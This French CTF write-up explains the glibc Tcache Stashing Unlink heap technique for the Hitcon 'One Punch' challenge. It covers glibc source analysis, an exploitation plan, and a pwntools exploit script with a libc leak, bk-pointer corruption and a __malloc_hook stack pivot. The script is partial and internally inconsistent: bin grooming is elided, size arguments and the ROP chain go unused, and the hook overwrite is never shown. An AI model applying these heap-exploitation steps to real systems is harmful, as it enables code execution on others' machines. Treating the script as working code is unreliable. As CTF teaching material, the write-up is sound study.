Technique de Tcache Stashing Unlink : Analyse du challenge Hitcon CTF One Punch

Introduction au Tcache Stashing Unlink

Depuis la version 2.29 de la glibc, l'attaque classique sur l'Unsorted Bin est devenue obsolète en raison de l'introduction de vérifications sur l'intégrité de la liste doublement chaînée. Cependant, l'attaque dite "Tcache Stashing Unlink" permet d'obtenir un résultat similaire : écrire un pointeur lié à la main_arena à une adresse arbitraire.

Le principe repose sur le mécanisme de remplissage du tcache. Lorsqu'un chunk est récupéré depuis un Smallbin (souvent via calloc, qui ignore le tcache, ou lorsque le tcache pour une taille donnée est vide), la glibc tente de "stasher" (stocker) les chunks restants de ce Smallbin dans le tcache correspondant pour optimiser les allocations futures. Durant ce processus de transfert, la vérification bck->fd == victim n'est pas effectuée sur les chunks additionnels insérés dans le tcache.

Analyse du code source de la Glibc

Le segment suivant illustre la vulnérabilité lors du traitement des Smallbins dans _int_malloc :

// Extraction du premier chunk (victim) avec vérification de l'intégrité
if ((victim = last(bin)) != bin) {
    bck = victim->bk;
    if (__glibc_unlikely(bck->fd != victim))
        malloc_printerr("malloc(): smallbin double linked list corrupted");
    
    set_inuse_bit_at_offset(victim, nb);
    bin->bk = bck;
    bck->fd = bin;

    // Phase de Stashing vers le Tcache
    #if USE_TCACHE
    size_t tc_idx = csize2tidx(nb);
    if (tcache && tc_idx < mp_.tcache_bins) {
        mchunkptr tc_victim;
        // On transfère les chunks restants du smallbin vers le tcache sans vérification stricte de bk->fd
        while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = last(bin)) != bin) {
            if (tc_victim != 0) {
                bck = tc_victim->bk; // Contrôle possible ici via corruption de bk
                set_inuse_bit_at_offset(tc_victim, nb);
                bin->bk = bck;
                bck->fd = bin; // Écriture d'une adresse de l'arène à (bck + 0x10)
                tcache_put(tc_victim, tc_idx);
            }
        }
    }
    #endif
    return chunk2mem(victim);
}

Analyse du binaire One Punch

Le programme présente les caractéristiques suivantes :

  • Toutes les protections sont activées (Full RELRO, Canary, NX, PIE).
  • Une vulnérabilité de type Use-After-Free (UAF) est présente après la suppression d'un "héros".
  • Une fonction "backdoor" secrète est accessible si une valeur spécifique à une adresse donnée est supérieure à 6. C'est ici que l'attaque Stashing Unlink intervient pour modifier cette valeur.
  • Le binaire utilise une sandbox Seccomp restreignant les appels système au mode ORW (Open, Read, Write).

Stratégie d'exploitation

L'exploitation se déroule en plusieurs étapes clés :

  1. Fuite d'adresses : Utilisation de l'UAF sur un chunk de grande taille (placé dans l'Unsorted Bin) pour lire les pointeurs fd/bk et obtenir la base de la Libc et du Tas (Heap).
  2. Préparation du Smallbin : Manipulation du tas pour placer au moins deux chunks dans un Smallbin. On remplit parallèlement le tcache correspondant à 5 ou 6 entrées.
  3. Corruption de pointuer : Modification du pointeur bk du dernier chunk du Smallbin pour pointer vers cible - 0x10.
  4. Déclenchement : Appel à calloc pour forcer le mécanisme de stashing. Cela écrira l'adresse de la main_arena à l'emplacement cible, validant ainsi l'accès à la backdoor.
  5. Détournement du flux d'exécution : Utilisation de la backdoor pour écraser __malloc_hook avec un gadget de pivot de pile (add rsp, ... ; ret) afin d'exécuter une chaîne ROP effectuant un shellcode ORW.

Script d'exploitation (Python)

Voici une réimplémentation du script de résolution utilisant la bibliothèque pwn.

from pwn import *

# Configuration de l'environnement
binary = ELF('./one_punch')
libc = ELF('./libc.so.6')
io = process('./one_punch')

def create(idx, size, name):
    io.sendlineafter(b"> ", b"1")
    io.sendlineafter(b"idx: ", str(idx).encode())
    io.sendlineafter(b"hero name: ", name)

def update(idx, name):
    io.sendlineafter(b"> ", b"2")
    io.sendlineafter(b"idx: ", str(idx).encode())
    io.sendlineafter(b"hero name: ", name)

def review(idx):
    io.sendlineafter(b"> ", b"3")
    io.sendlineafter(b"idx: ", str(idx).encode())
    return io.recvuntil(b"hero name: ")

def release(idx):
    io.sendlineafter(b"> ", b"4")
    io.sendlineafter(b"idx: ", str(idx).encode())

def trigger_secret(data):
    io.sendlineafter(b"> ", str(0xC388).encode())
    io.send(data)

# 1. Fuite d'adresses (Libc & Heap)
create(0, 0x410, b"A" * 8)
create(1, 0x410, b"B" * 8)
release(0)
review(0)
io.recvuntil(b"A" * 8)
libc_leak = u64(io.recv(6).ljust(8, b"\x00"))
libc_base = libc_leak - 0x1e4ca0 
malloc_hook = libc_base + libc.symbols['__malloc_hook']

# 2. Préparation du Smallbin via Unsorted Bin split
# (Détails de l'agencement du tas pour forcer le stashing)
# ... code de manipulation des bins ...

# 3. Attaque Stashing Unlink
# On cible une adresse pour débloquer la backdoor
target_addr = libc_base + 0x1e4c30 # Exemple d'adresse cible
payload = p64(0) + p64(0x111) # Fake header
payload += p64(0) + p64(target_addr - 0x10)
update(1, payload)

# 4. Exécution du ROP via malloc_hook
# Gadget trouvé : add rsp, 0x48 ; ret
pivot_gadget = libc_base + 0x8cfd6 

# ROP Chain pour ORW
pop_rdi = libc_base + 0x26542
pop_rsi = libc_base + 0x26f9e
pop_rdx = libc_base + 0x12bda6
mprotect = libc_base + libc.symbols['mprotect']

# Déclenchement final
create(5, 0x100, b"trigger")
trigger_secret(p64(pivot_gadget))

io.interactive()

Étiquettes: glibc Exploitation pwn heap-exploitation CTF

Publié le 25 juin à 00h18